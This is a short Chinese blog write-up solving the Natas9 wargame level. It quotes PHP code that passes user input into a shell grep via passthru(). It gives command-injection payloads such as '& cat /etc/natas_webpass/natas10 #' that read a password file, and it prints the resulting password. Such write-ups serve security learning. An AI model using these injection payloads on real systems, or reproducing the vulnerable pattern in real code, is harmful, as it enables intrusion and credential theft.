• Natas9 Writeup(命令注入)


    Natas9:

    审计源码,发现关键代码:

    $key = "";
    
    if(array_key_exists("needle", $_REQUEST)) {
        $key = $_REQUEST["needle"];
    }
    
    if($key != "") {
        passthru("grep -i $key dictionary.txt");
    }

    php代码调用了passthru函数执行grep命令来查找我们提交的内容是否在 dictionary.txt中,由此想到命令注入漏洞,且已知各等级密码均存储在/etc/natas_webpass目录下,使用;或|或&来截断grep命令,再用cat读取密码,用#注释掉后面的内容,构造如下:& cat /etc/natas_webpass/natas10 #,post得到flag。

    (或者构造如下:;cat /etc/natas_webpass/natas10;)

    flag:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

    总结:

    1.php代码中,passthru()函数可以执行外部命令,类似于exec()。

    2.grep -i 为不分大小写匹配查询。

    3.使用;或|或&可以截断shell命令。

  • 相关阅读:
    Xshell 设置右键粘贴功能
    python中dict操作集合
    mac 设置网页字体
    博客收藏
    memcache 安装与简单使用
    mac安装homebrew
    Graphviz下载 使用
    jekyll 与hexo
    js 汉字排序
    初试gem
  • 原文地址:https://www.cnblogs.com/zhengna/p/12357166.html
Copyright © 2020-2023  润新知